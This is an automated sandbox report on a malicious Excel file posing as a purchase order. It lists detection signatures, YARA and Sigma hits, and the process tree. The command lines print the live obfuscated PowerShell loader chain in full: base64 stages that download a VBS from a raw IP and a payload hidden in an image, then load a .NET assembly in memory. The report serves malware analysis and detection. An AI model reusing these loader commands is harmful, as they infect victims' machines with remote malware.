Edit tour
Windows
Analysis Report
Orden_de_Compra_Nmero_6782929219.xls
Overview
General Information
| Sample name: | Orden_de_Compra_Nmero_6782929219.xls |
| Analysis ID: | 1572123 |
| MD5: | 02312414e969b79f88ffde0b68090227 |
| SHA1: | aab17d76b523a0a1c79391468885ab855a6f2196 |
| SHA256: | 8ca816015c1a43fa8cfe732759ba029e176f94e372176ccb8940d91cfc6a7984 |
| Tags: | xlsuser-abuse_ch |
| Infos: |   |
 | |
Detection
HTMLPhisher
| Score: | 100 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Antivirus detection for URL or domain
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected HtmlPhish44
Yara detected Powershell download and execute
Connects to a pastebin service (likely for C&C)
Document exploit detected (process start blacklist hit)
Excel sheet contains many unusual embedded objects
Installs new ROOT certificates
Machine Learning detection for sample
Microsoft Office drops suspicious files
PowerShell case anomaly found
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Dot net compiler compiles file from suspicious location
Sigma detected: File With Uncommon Extension Created By An Office Application
Sigma detected: Potentially Suspicious PowerShell Child Processes
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Suspicious MSHTA Child Process
Sigma detected: Suspicious Microsoft Office Child Process
Sigma detected: WScript or CScript Dropper
Suspicious command line found
Suspicious execution chain found
Suspicious powershell command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Wscript starts Powershell (via cmd or directly)
Compiles C# or VB.Net code
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a window with clipboard capturing capabilities
Detected potential crypto function
Document contains embedded VBA macros
Document embeds suspicious OLE2 link
Drops PE files
Enables debug privileges
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Searches for the Microsoft Outlook file path
Sigma detected: Dynamic .NET Compilation Via Csc.EXE
Sigma detected: Excel Network Connections
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: Suspicious Office Outbound Connections
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Suricata IDS alerts with low severity for network traffic
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses insecure TLS / SSL version for HTTPS connection
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara signature match
Classification
- System is w7x64
EXCEL.EXE (PID: 3312 cmdline: "C:\Progra m Files\Mi crosoft Of fice\Offic e14\EXCEL. EXE" /auto mation -Em bedding MD5: D53B85E21886D2AF9815C377537BCAC3) 
mshta.exe (PID: 3592 cmdline: C:\Windows \System32\ mshta.exe -Embedding MD5: 95828D670CFD3B16EE188168E083C3C5) 
cmd.exe (PID: 3692 cmdline: "C:\Window s\system32 \cmd.exe" "/c poWerS Hell.eXE -Ex bypas S -N OP - w 1 -c DevIc ECreDenTiA LDepLOymen t ; inVo KE-eXPRESs ion($(INvO kE-expReSS IOn('[SYsT EM.TeXt.En coDINg]'+[ CHaR]0x3a+ [cHar]58+' utf8.geTSt RINg([SYsT Em.CONverT ]'+[chAr]5 8+[cHaR]58 +'FRoMBASE 64strinG(' +[char]0X2 2+'JGNGT0h OanFQbCAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CA9ICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgIEF kZC1UeXBlI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgIC1tZU1 CZVJkZUZJT mlUaU9uICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICdbRGxsS W1wb3J0KCJ 1cmxNT24uZ ExMIiwgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gQ2hhclNld CA9IENoYXJ TZXQuVW5pY 29kZSldcHV ibGljIHN0Y XRpYyBleHR lcm4gSW50U HRyIFVSTER vd25sb2FkV G9GaWxlKEl udFB0ciAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CBsZWFGUUh 5ZyxzdHJpb mcgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgVHh 0LHN0cmluZ yAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICBsTU0 sdWludCAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CBlTW52bEh Rb3AsSW50U HRyICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgIGt mYmV1bVIpO ycgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgLU5 BbUUgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI mdOdyIgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gLU5hbWVzc EFDRSAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICB MVXRKQlYgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgLVBhc3N UaHJ1OyAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAkY0ZPSE5 qcVBsOjpVU kxEb3dubG9 hZFRvRmlsZ SgwLCJodHR wOi8vMTcyL jI0NS4xNDI uNjAvNDY2L 2tpZHNuaWN lZm9ybWV0b 2dldGJhY2t ncmVhdHRoa W5nc3dpdGh uZXRpZXJ0a W1lZ2l2ZW5 tZWJlc3Rmb 3JtZS50SUY iLCIkRU52O kFQUERBVEF ca2lkc25pY 2Vmb3JtZXR vZ2V0YmFja 2dyZWF0dGh pbmdzd2l0a G5ldGllcnR pbWVnaXZlb m1lYmVzLnZ iUyIsMCwwK TtTdEFSdC1 zTGVFcCgzK TtJblZvS0U tRXhQUkVTc 2lvTiAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA iJGVOVjpBU FBEQVRBXGt pZHNuaWNlZ m9ybWV0b2d ldGJhY2tnc mVhdHRoaW5 nc3dpdGhuZ XRpZXJ0aW1 lZ2l2ZW5tZ WJlcy52YlM i'+[CHaR]0 X22+'))')) )" MD5: 5746BD7E255DD6A8AFA06F7C42C1BA41) 
powershell.exe (PID: 3716 cmdline: poWerSHell .eXE -Ex bypasS -NOP -w 1 -c DevIcECr eDenTiALDe pLOyment ; inVoKE- eXPRESsion ($(INvOkE- expReSSIOn ('[SYsTEM. TeXt.EncoD INg]'+[CHa R]0x3a+[cH ar]58+'utf 8.geTStRIN g([SYsTEm. CONverT]'+ [chAr]58+[ cHaR]58+'F RoMBASE64s trinG('+[c har]0X22+' JGNGT0hOan FQbCAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICA9 ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgIEFkZC 1UeXBlICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg IC1tZU1CZV JkZUZJTmlU aU9uICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC dbRGxsSW1w b3J0KCJ1cm xNT24uZExM IiwgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgQ2 hhclNldCA9 IENoYXJTZX QuVW5pY29k ZSldcHVibG ljIHN0YXRp YyBleHRlcm 4gSW50UHRy IFVSTERvd2 5sb2FkVG9G aWxlKEludF B0ciAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICBs ZWFGUUh5Zy xzdHJpbmcg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgVHh0LH N0cmluZyAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICBsTU0sdW ludCAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICBl TW52bEhRb3 AsSW50UHRy ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgIGtmYm V1bVIpOycg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgLU5BbU UgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgImdO dyIgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgLU 5hbWVzcEFD RSAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICBMVX RKQlYgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg LVBhc3NUaH J1OyAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAk Y0ZPSE5qcV BsOjpVUkxE b3dubG9hZF RvRmlsZSgw LCJodHRwOi 8vMTcyLjI0 NS4xNDIuNj AvNDY2L2tp ZHNuaWNlZm 9ybWV0b2dl dGJhY2tncm VhdHRoaW5n c3dpdGhuZX RpZXJ0aW1l Z2l2ZW5tZW Jlc3Rmb3Jt ZS50SUYiLC IkRU52OkFQ UERBVEFca2 lkc25pY2Vm b3JtZXRvZ2 V0YmFja2dy ZWF0dGhpbm dzd2l0aG5l dGllcnRpbW VnaXZlbm1l YmVzLnZiUy IsMCwwKTtT dEFSdC1zTG VFcCgzKTtJ blZvS0UtRX hQUkVTc2lv TiAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAiJG VOVjpBUFBE QVRBXGtpZH NuaWNlZm9y bWV0b2dldG JhY2tncmVh dHRoaW5nc3 dpdGhuZXRp ZXJ0aW1lZ2 l2ZW5tZWJl cy52YlMi'+ [CHaR]0X22 +'))')))" MD5: A575A7610E5F003CC36DF39E07C4BA7D) 
csc.exe (PID: 3920 cmdline: "C:\Window s\Microsof t.NET\Fram ework64\v4 .0.30319\c sc.exe" /n oconfig /f ullpaths @ "C:\Users\ user\AppDa ta\Local\T emp\izhw32 1o\izhw321 o.cmdline" MD5: 23EE3D381CFE3B9F6229483E2CE2F9E1) - cvtres.exe (PID: 3932 cmdline:
C:\Windows \Microsoft .NET\Frame work64\v4. 0.30319\cv tres.exe / NOLOGO /RE ADONLY /MA CHINE:IX86 "/OUT:C:\ Users\user \AppData\L ocal\Temp\ RES476D.tm p" "c:\Use rs\user\Ap pData\Loca l\Temp\izh w321o\CSCD C8260CFBF8 C4877B302B 76AFCC254F .TMP" MD5: C877CBB966EA5939AA2A17B6A5160950) 
wscript.exe (PID: 4044 cmdline: "C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Roa ming\kidsn iceformeto getbackgre atthingswi thnetierti megivenmeb es.vbS" MD5: 045451FA238A75305CC26AC982472367) - powershell.exe (PID: 4092 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" $portioned = 'JHByZW 9idGFpbnMg PSAnaHR0cH M6Ly9yZXMu Y2xvdWRpbm FyeS5jb20v ZHl0Zmx0Nj FuL2ltYWdl L3VwbG9hZC 92MTczMzEz NDk0Ny9ia2 xweXNleWV1 dDRpbXB3NT BuMS5qcGcg JzskbGFsbH lnYWdnaW5n ID0gTmV3LU 9iamVjdCBT eXN0ZW0uTm V0LldlYkNs aWVudDskdG F1bnRpbmds eSA9ICRsYW xseWdhZ2dp bmcuRG93bm xvYWREYXRh KCRwcmVvYn RhaW5zKTsk bm9udmlyZ2 lucyA9IFtT eXN0ZW0uVG V4dC5FbmNv ZGluZ106Ol VURjguR2V0 U3RyaW5nKC R0YXVudGlu Z2x5KTskbm V3c21lbiA9 ICc8PEJBU0 U2NF9TVEFS VD4+Jzskc3 Bpcml0dWFs aXN0aWMgPS AnPDxCQVNF NjRfRU5EPj 4nOyRhc2Fm b2V0aWRhcy A9ICRub252 aXJnaW5zLk luZGV4T2Yo JG5ld3NtZW 4pOyRzbm9v emUgPSAkbm 9udmlyZ2lu cy5JbmRleE 9mKCRzcGly aXR1YWxpc3 RpYyk7JGFz YWZvZXRpZG FzIC1nZSAw IC1hbmQgJH Nub296ZSAt Z3QgJGFzYW ZvZXRpZGFz OyRhc2Fmb2 V0aWRhcyAr PSAkbmV3c2 1lbi5MZW5n dGg7JG95ZX MgPSAkc25v b3plIC0gJG FzYWZvZXRp ZGFzOyRzdG lsbGluZyA9 ICRub252aX JnaW5zLlN1 YnN0cmluZy gkYXNhZm9l dGlkYXMsIC RveWVzKTsk aG9sbG93bm Vzc2VzID0g LWpvaW4gKC RzdGlsbGlu Zy5Ub0NoYX JBcnJheSgp IHwgRm9yRW FjaC1PYmpl Y3QgeyAkXy B9KVstMS4u LSgkc3RpbG xpbmcuTGVu Z3RoKV07JG NvbGVzbGF3 cyA9IFtTeX N0ZW0uQ29u dmVydF06Ok Zyb21CYXNl NjRTdHJpbm coJGhvbGxv d25lc3Nlcy k7JG1hbmFn ZW1lbnRzID 0gW1N5c3Rl bS5SZWZsZW N0aW9uLkFz c2VtYmx5XT o6TG9hZCgk Y29sZXNsYX dzKTskamV3 ZmlzaCA9IF tkbmxpYi5J Ty5Ib21lXS 5HZXRNZXRo b2QoJ1ZBSS cpOyRqZXdm aXNoLkludm 9rZSgkbnVs bCwgQCgnMC 9uQ3gzMC9y L2VlLmV0c2 FwLy86c3B0 dGgnLCAnJG ZvcmViZWFy JywgJyRmb3 JlYmVhcics ICckZm9yZW JlYXInLCAn Q2FzUG9sJy wgJyRmb3Jl YmVhcicsIC ckZm9yZWJl YXInLCckZm 9yZWJlYXIn LCckZm9yZW JlYXInLCck Zm9yZWJlYX InLCckZm9y ZWJlYXInLC ckZm9yZWJl YXInLCcxJy wnJGZvcmVi ZWFyJykpOw ==';$repro vals = [Sy stem.Text. Encoding]: :UTF8.GetS tring([Sys tem.Conver t]::FromBa se64String ($portione d));Invoke -Expressio n $reprova ls MD5: A575A7610E5F003CC36DF39E07C4BA7D) 
AcroRd32.exe (PID: 3764 cmdline: "C:\Progra m Files (x 86)\Adobe\ Acrobat Re ader DC\Re ader\AcroR d32.exe" - Embedding MD5: 2F8D93826B8CBF9290BC57535C7A6817) 
RdrCEF.exe (PID: 1404 cmdline: "C:\Progra m Files (x 86)\Adobe\ Acrobat Re ader DC\Re ader\AcroC EF\RdrCEF. exe" --bac kgroundcol or=1651404 3 MD5: 326A645391A97C760B60C558A35BB068) - mshta.exe (PID: 1972 cmdline:
C:\Windows \System32\ mshta.exe -Embedding MD5: 95828D670CFD3B16EE188168E083C3C5) - cmd.exe (PID: 3684 cmdline:
"C:\Window s\system32 \cmd.exe" "/c poWerS Hell.eXE -Ex bypas S -N OP - w 1 -c DevIc ECreDenTiA LDepLOymen t ; inVo KE-eXPRESs ion($(INvO kE-expReSS IOn('[SYsT EM.TeXt.En coDINg]'+[ CHaR]0x3a+ [cHar]58+' utf8.geTSt RINg([SYsT Em.CONverT ]'+[chAr]5 8+[cHaR]58 +'FRoMBASE 64strinG(' +[char]0X2 2+'JGNGT0h OanFQbCAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CA9ICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgIEF kZC1UeXBlI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgIC1tZU1 CZVJkZUZJT mlUaU9uICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICdbRGxsS W1wb3J0KCJ 1cmxNT24uZ ExMIiwgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gQ2hhclNld CA9IENoYXJ TZXQuVW5pY 29kZSldcHV ibGljIHN0Y XRpYyBleHR lcm4gSW50U HRyIFVSTER vd25sb2FkV G9GaWxlKEl udFB0ciAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CBsZWFGUUh 5ZyxzdHJpb mcgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgVHh 0LHN0cmluZ yAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICBsTU0 sdWludCAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CBlTW52bEh Rb3AsSW50U HRyICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgIGt mYmV1bVIpO ycgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgLU5 BbUUgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI mdOdyIgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gLU5hbWVzc EFDRSAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICB MVXRKQlYgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgLVBhc3N UaHJ1OyAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAkY0ZPSE5 qcVBsOjpVU kxEb3dubG9 hZFRvRmlsZ SgwLCJodHR wOi8vMTcyL jI0NS4xNDI uNjAvNDY2L 2tpZHNuaWN lZm9ybWV0b 2dldGJhY2t ncmVhdHRoa W5nc3dpdGh uZXRpZXJ0a W1lZ2l2ZW5 tZWJlc3Rmb 3JtZS50SUY iLCIkRU52O kFQUERBVEF ca2lkc25pY 2Vmb3JtZXR vZ2V0YmFja 2dyZWF0dGh pbmdzd2l0a G5ldGllcnR pbWVnaXZlb m1lYmVzLnZ iUyIsMCwwK TtTdEFSdC1 zTGVFcCgzK TtJblZvS0U tRXhQUkVTc 2lvTiAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA iJGVOVjpBU FBEQVRBXGt pZHNuaWNlZ m9ybWV0b2d ldGJhY2tnc mVhdHRoaW5 nc3dpdGhuZ XRpZXJ0aW1 lZ2l2ZW5tZ WJlcy52YlM i'+[CHaR]0 X22+'))')) )" MD5: 5746BD7E255DD6A8AFA06F7C42C1BA41) - powershell.exe (PID: 3932 cmdline:
poWerSHell .eXE -Ex bypasS -NOP -w 1 -c DevIcECr eDenTiALDe pLOyment ; inVoKE- eXPRESsion ($(INvOkE- expReSSIOn ('[SYsTEM. TeXt.EncoD INg]'+[CHa R]0x3a+[cH ar]58+'utf 8.geTStRIN g([SYsTEm. CONverT]'+ [chAr]58+[ cHaR]58+'F RoMBASE64s trinG('+[c har]0X22+' JGNGT0hOan FQbCAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICA9 ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgIEFkZC 1UeXBlICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg IC1tZU1CZV JkZUZJTmlU aU9uICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC dbRGxsSW1w b3J0KCJ1cm xNT24uZExM IiwgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgQ2 hhclNldCA9 IENoYXJTZX QuVW5pY29k ZSldcHVibG ljIHN0YXRp YyBleHRlcm 4gSW50UHRy IFVSTERvd2 5sb2FkVG9G aWxlKEludF B0ciAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICBs ZWFGUUh5Zy xzdHJpbmcg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgVHh0LH N0cmluZyAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICBsTU0sdW ludCAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICBl TW52bEhRb3 AsSW50UHRy ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgIGtmYm V1bVIpOycg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgLU5BbU UgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgImdO dyIgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgLU 5hbWVzcEFD RSAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICBMVX RKQlYgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg LVBhc3NUaH J1OyAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAk Y0ZPSE5qcV BsOjpVUkxE b3dubG9hZF RvRmlsZSgw LCJodHRwOi 8vMTcyLjI0 NS4xNDIuNj AvNDY2L2tp ZHNuaWNlZm 9ybWV0b2dl dGJhY2tncm VhdHRoaW5n c3dpdGhuZX RpZXJ0aW1l Z2l2ZW5tZW Jlc3Rmb3Jt ZS50SUYiLC IkRU52OkFQ UERBVEFca2 lkc25pY2Vm b3JtZXRvZ2 V0YmFja2dy ZWF0dGhpbm dzd2l0aG5l dGllcnRpbW VnaXZlbm1l YmVzLnZiUy IsMCwwKTtT dEFSdC1zTG VFcCgzKTtJ blZvS0UtRX hQUkVTc2lv TiAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAiJG VOVjpBUFBE QVRBXGtpZH NuaWNlZm9y bWV0b2dldG JhY2tncmVh dHRoaW5nc3 dpdGhuZXRp ZXJ0aW1lZ2 l2ZW5tZWJl cy52YlMi'+ [CHaR]0X22 +'))')))" MD5: A575A7610E5F003CC36DF39E07C4BA7D) - csc.exe (PID: 1844 cmdline:
"C:\Window s\Microsof t.NET\Fram ework64\v4 .0.30319\c sc.exe" /n oconfig /f ullpaths @ "C:\Users\ user\AppDa ta\Local\T emp\24vqjd jh\24vqjdj h.cmdline" MD5: 23EE3D381CFE3B9F6229483E2CE2F9E1) - cvtres.exe (PID: 2064 cmdline:
C:\Windows \Microsoft .NET\Frame work64\v4. 0.30319\cv tres.exe / NOLOGO /RE ADONLY /MA CHINE:IX86 "/OUT:C:\ Users\user \AppData\L ocal\Temp\ RESA5F0.tm p" "c:\Use rs\user\Ap pData\Loca l\Temp\24v qjdjh\CSCC 170874EB59 94B0587853 71DF20B8BA .TMP" MD5: C877CBB966EA5939AA2A17B6A5160950) - wscript.exe (PID: 4068 cmdline:
"C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Roa ming\kidsn iceformeto getbackgre atthingswi thnetierti megivenmeb es.vbS" MD5: 045451FA238A75305CC26AC982472367) - powershell.exe (PID: 3832 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" $portioned = 'JHByZW 9idGFpbnMg PSAnaHR0cH M6Ly9yZXMu Y2xvdWRpbm FyeS5jb20v ZHl0Zmx0Nj FuL2ltYWdl L3VwbG9hZC 92MTczMzEz NDk0Ny9ia2 xweXNleWV1 dDRpbXB3NT BuMS5qcGcg JzskbGFsbH lnYWdnaW5n ID0gTmV3LU 9iamVjdCBT eXN0ZW0uTm V0LldlYkNs aWVudDskdG F1bnRpbmds eSA9ICRsYW xseWdhZ2dp bmcuRG93bm xvYWREYXRh KCRwcmVvYn RhaW5zKTsk bm9udmlyZ2 lucyA9IFtT eXN0ZW0uVG V4dC5FbmNv ZGluZ106Ol VURjguR2V0 U3RyaW5nKC R0YXVudGlu Z2x5KTskbm V3c21lbiA9 ICc8PEJBU0 U2NF9TVEFS VD4+Jzskc3 Bpcml0dWFs aXN0aWMgPS AnPDxCQVNF NjRfRU5EPj 4nOyRhc2Fm b2V0aWRhcy A9ICRub252 aXJnaW5zLk luZGV4T2Yo JG5ld3NtZW 4pOyRzbm9v emUgPSAkbm 9udmlyZ2lu cy5JbmRleE 9mKCRzcGly aXR1YWxpc3 RpYyk7JGFz YWZvZXRpZG FzIC1nZSAw IC1hbmQgJH Nub296ZSAt Z3QgJGFzYW ZvZXRpZGFz OyRhc2Fmb2 V0aWRhcyAr PSAkbmV3c2 1lbi5MZW5n dGg7JG95ZX MgPSAkc25v b3plIC0gJG FzYWZvZXRp ZGFzOyRzdG lsbGluZyA9 ICRub252aX JnaW5zLlN1 YnN0cmluZy gkYXNhZm9l dGlkYXMsIC RveWVzKTsk aG9sbG93bm Vzc2VzID0g LWpvaW4gKC RzdGlsbGlu Zy5Ub0NoYX JBcnJheSgp IHwgRm9yRW FjaC1PYmpl Y3QgeyAkXy B9KVstMS4u LSgkc3RpbG xpbmcuTGVu Z3RoKV07JG NvbGVzbGF3 cyA9IFtTeX N0ZW0uQ29u dmVydF06Ok Zyb21CYXNl NjRTdHJpbm coJGhvbGxv d25lc3Nlcy k7JG1hbmFn ZW1lbnRzID 0gW1N5c3Rl bS5SZWZsZW N0aW9uLkFz c2VtYmx5XT o6TG9hZCgk Y29sZXNsYX dzKTskamV3 ZmlzaCA9IF tkbmxpYi5J Ty5Ib21lXS 5HZXRNZXRo b2QoJ1ZBSS cpOyRqZXdm aXNoLkludm 9rZSgkbnVs bCwgQCgnMC 9uQ3gzMC9y L2VlLmV0c2 FwLy86c3B0 dGgnLCAnJG ZvcmViZWFy JywgJyRmb3 JlYmVhcics ICckZm9yZW JlYXInLCAn Q2FzUG9sJy wgJyRmb3Jl YmVhcicsIC ckZm9yZWJl YXInLCckZm 9yZWJlYXIn LCckZm9yZW JlYXInLCck Zm9yZWJlYX InLCckZm9y ZWJlYXInLC ckZm9yZWJl YXInLCcxJy wnJGZvcmVi ZWFyJykpOw ==';$repro vals = [Sy stem.Text. Encoding]: :UTF8.GetS tring([Sys tem.Conver t]::FromBa se64String ($portione d));Invoke -Expressio n $reprova ls MD5: A575A7610E5F003CC36DF39E07C4BA7D)
- cleanup
⊘No configs have been found
| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| JoeSecurity_HtmlPhish_44 | Yara detected HtmlPhish_44 | Joe Security |
| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security | ||
| INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC | Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution | ditekSHen |
| |
| JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security | ||
| INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC | Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution | ditekSHen |
|
System Summary |   |
|---|
| Source: | Author: Florian Roth (Nextron Systems): | ||